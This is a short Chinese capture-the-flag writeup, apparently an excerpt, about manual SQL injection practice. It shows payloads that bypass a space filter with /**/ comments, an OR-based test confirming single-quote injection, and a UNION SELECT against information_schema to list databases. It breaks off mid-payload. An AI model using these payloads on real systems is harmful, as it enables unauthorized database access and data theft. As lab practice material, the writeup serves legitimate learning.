简单的sql注入之2 / writeup (手工注入，纯属练手)

多测试几次可以发现，空格被注释了，百度解决方法，用/**/代替空格的位置， 构造语句1'/**/or/**/'1'='1 确认为单引号注入 用order by 确认select字段数，以确定union的字段数 可得，只有一个字段 获取数据库  1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**

>>阅读原文<<